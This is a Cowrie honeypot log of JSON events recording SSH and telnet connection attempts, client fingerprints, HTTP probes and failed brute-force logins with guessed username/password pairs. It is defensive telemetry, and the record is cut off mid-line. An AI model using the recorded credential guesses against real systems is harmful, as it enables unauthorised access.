{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer12345","message":"login attempt [ubuntu/developer12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:04.706170Z","src_ip":"20.193.141.133","session":"6f61a291bd66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:05.898462Z","src_ip":"20.193.141.133","session":"6f61a291bd66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":36196,"dst_ip":"159.203.135.109","dst_port":23,"session":"b661b404153b","protocol":"telnet","message":"New connection: 160.250.202.248:36196 (159.203.135.109:23) [session: b661b404153b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:07.979525Z"}
{"eventid":"cowrie.session.closed","duration":31.08156180381775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:08.523194Z","src_ip":"160.250.202.248","session":"ca619cc670f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45835256576538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:15.493752Z","src_ip":"160.250.202.248","session":"965e6bdda9bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":59706,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7ec16277ed1","protocol":"telnet","message":"New connection: 160.250.202.248:59706 (159.203.135.109:23) [session: f7ec16277ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:18.003436Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41566,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00145f7c45a","protocol":"telnet","message":"New connection: 160.250.202.248:41566 (159.203.135.109:23) [session: e00145f7c45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:22.128508Z"}
{"eventid":"cowrie.session.closed","duration":120.00191926956177,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:25.896795Z","src_ip":"102.135.170.60","session":"2f40a1d7b3f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":55222,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f1da6884c6","protocol":"telnet","message":"New connection: 102.135.170.60:55222 (10.17.0.5:23) [session: 31f1da6884c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:26.949902Z"}
{"eventid":"cowrie.session.closed","duration":120.00225925445557,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:28.239197Z","src_ip":"102.135.170.60","session":"78444ce7732e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229932069778442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:28.481980Z","src_ip":"160.250.202.248","session":"33e9658be9d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157046318054,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:29.022167Z","src_ip":"102.135.170.60","session":"d7c2698dc28b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57728,"dst_ip":"159.203.135.109","dst_port":23,"session":"4409b4fe2cfb","protocol":"telnet","message":"New connection: 160.250.202.248:57728 (159.203.135.109:23) [session: 4409b4fe2cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:29.395837Z"}
{"eventid":"cowrie.session.closed","duration":120.00152063369751,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:29.512885Z","src_ip":"102.135.170.60","session":"012332c5eb53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":55516,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b091409b5d6","protocol":"telnet","message":"New connection: 102.135.170.60:55516 (10.17.0.5:23) [session: 8b091409b5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:29.837482Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":35506,"dst_ip":"159.203.135.109","dst_port":23,"session":"586a71bd5322","protocol":"telnet","message":"New connection: 160.250.202.248:35506 (159.203.135.109:23) [session: 586a71bd5322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:31.978764Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":55596,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ecf63e22ba","protocol":"telnet","message":"New connection: 102.135.170.60:55596 (10.17.0.5:23) [session: 38ecf63e22ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:32.332694Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":55642,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc7f215c62f2","protocol":"telnet","message":"New connection: 102.135.170.60:55642 (10.17.0.5:23) [session: cc7f215c62f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:32.413364Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":50232,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a6aa475622a","protocol":"ssh","message":"New connection: 117.247.23.131:50232 (159.203.135.109:22) [session: 7a6aa475622a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:33.391810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:33.396953Z","src_ip":"117.247.23.131","session":"7a6aa475622a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:33.922420Z","src_ip":"117.247.23.131","session":"7a6aa475622a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41870,"dst_ip":"159.203.135.109","dst_port":23,"session":"f476fd2418c8","protocol":"telnet","message":"New connection: 160.250.202.248:41870 (159.203.135.109:23) [session: f476fd2418c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:35.014964Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.14","src_port":35055,"dst_ip":"159.203.135.109","dst_port":22,"session":"c83403b796ee","protocol":"ssh","message":"New connection: 64.62.156.14:35055 (159.203.135.109:22) [session: c83403b796ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:35.252609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:35.257366Z","src_ip":"64.62.156.14","session":"c83403b796ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:35.333631Z","src_ip":"64.62.156.14","session":"c83403b796ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38858,"dst_ip":"159.203.135.109","dst_port":22,"session":"06579f845c59","protocol":"ssh","message":"New connection: 159.203.92.129:38858 (159.203.135.109:22) [session: 06579f845c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:36.490789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:36.496356Z","src_ip":"159.203.92.129","session":"06579f845c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:36.502928Z","src_ip":"159.203.92.129","session":"06579f845c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"1111","message":"login attempt [adam/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:36.522156Z","src_ip":"159.203.92.129","session":"06579f845c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"pass123","message":"login attempt [git/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:37.083502Z","src_ip":"117.247.23.131","session":"7a6aa475622a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:37.529289Z","src_ip":"159.203.92.129","session":"06579f845c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.508094549179077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:38.487497Z","src_ip":"160.250.202.248","session":"b661b404153b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:38.804691Z","src_ip":"117.247.23.131","session":"7a6aa475622a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:39.252923Z","src_ip":"64.62.156.14","session":"c83403b796ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":55364,"dst_ip":"159.203.135.109","dst_port":23,"session":"2528efe7a025","protocol":"telnet","message":"New connection: 160.250.202.248:55364 (159.203.135.109:23) [session: 2528efe7a025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:40.974334Z"}
{"eventid":"cowrie.session.closed","duration":30.513088941574097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:48.516386Z","src_ip":"160.250.202.248","session":"f7ec16277ed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.28","src_port":60040,"dst_ip":"159.203.135.109","dst_port":22,"session":"568ab24ba079","protocol":"ssh","message":"New connection: 193.32.162.28:60040 (159.203.135.109:22) [session: 568ab24ba079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:49.024077Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":44994,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c73ce1e9f71","protocol":"telnet","message":"New connection: 160.250.202.248:44994 (159.203.135.109:23) [session: 4c73ce1e9f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:49.057967Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:51.653316Z","src_ip":"193.32.162.28","session":"568ab24ba079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.28","src_port":60180,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d432b024ab0","protocol":"ssh","message":"New connection: 193.32.162.28:60180 (159.203.135.109:22) [session: 9d432b024ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:51.757990Z"}
{"eventid":"cowrie.session.closed","duration":30.357190370559692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:52.485584Z","src_ip":"160.250.202.248","session":"e00145f7c45a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"POST / HTTP/1.1","message":"Remote SSH version: POST / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:53.654034Z","src_ip":"193.32.162.28","session":"9d432b024ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:53.660348Z","src_ip":"193.32.162.28","session":"9d432b024ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60094,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b1afbb7d116","protocol":"telnet","message":"New connection: 160.250.202.248:60094 (159.203.135.109:23) [session: 2b1afbb7d116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:56.026392Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.28","src_port":60430,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4851733e40d","protocol":"ssh","message":"New connection: 193.32.162.28:60430 (159.203.135.109:22) [session: c4851733e40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:56.185382Z"}
{"eventid":"cowrie.client.version","version":"POST /_next HTTP/1.1","message":"Remote SSH version: POST /_next HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:58.062064Z","src_ip":"193.32.162.28","session":"c4851733e40d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:17:58.066548Z","src_ip":"193.32.162.28","session":"c4851733e40d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41180,"dst_ip":"159.203.135.109","dst_port":23,"session":"e219110940e2","protocol":"telnet","message":"New connection: 160.250.202.248:41180 (159.203.135.109:23) [session: e219110940e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:00.054479Z"}
{"eventid":"cowrie.session.closed","duration":31.075623512268066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:00.471331Z","src_ip":"160.250.202.248","session":"4409b4fe2cfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.28","src_port":60700,"dst_ip":"159.203.135.109","dst_port":22,"session":"866989c4d898","protocol":"ssh","message":"New connection: 193.32.162.28:60700 (159.203.135.109:22) [session: 866989c4d898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:01.170077Z"}
{"eventid":"cowrie.session.closed","duration":30.707395792007446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:02.686073Z","src_ip":"160.250.202.248","session":"586a71bd5322","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"POST /api HTTP/1.1","message":"Remote SSH version: POST /api HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:03.352274Z","src_ip":"193.32.162.28","session":"866989c4d898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:03.356920Z","src_ip":"193.32.162.28","session":"866989c4d898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51588,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7a28ab1d259","protocol":"telnet","message":"New connection: 160.250.202.248:51588 (159.203.135.109:23) [session: d7a28ab1d259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:04.239262Z"}
{"eventid":"cowrie.session.closed","duration":30.476230144500732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:05.491071Z","src_ip":"160.250.202.248","session":"f476fd2418c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.28","src_port":32796,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1c5162276ac","protocol":"ssh","message":"New connection: 193.32.162.28:32796 (159.203.135.109:22) [session: d1c5162276ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:05.968426Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":55750,"dst_ip":"159.203.135.109","dst_port":23,"session":"1065b1da4314","protocol":"telnet","message":"New connection: 160.250.202.248:55750 (159.203.135.109:23) [session: 1065b1da4314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:05.974306Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":59912,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3a4c508ab7f","protocol":"telnet","message":"New connection: 160.250.202.248:59912 (159.203.135.109:23) [session: a3a4c508ab7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:07.765459Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":25289,"dst_ip":"10.17.0.5","dst_port":22,"session":"13204054b921","protocol":"ssh","message":"New connection: 20.193.141.133:25289 (10.17.0.5:22) [session: 13204054b921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:07.915322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:07.919386Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-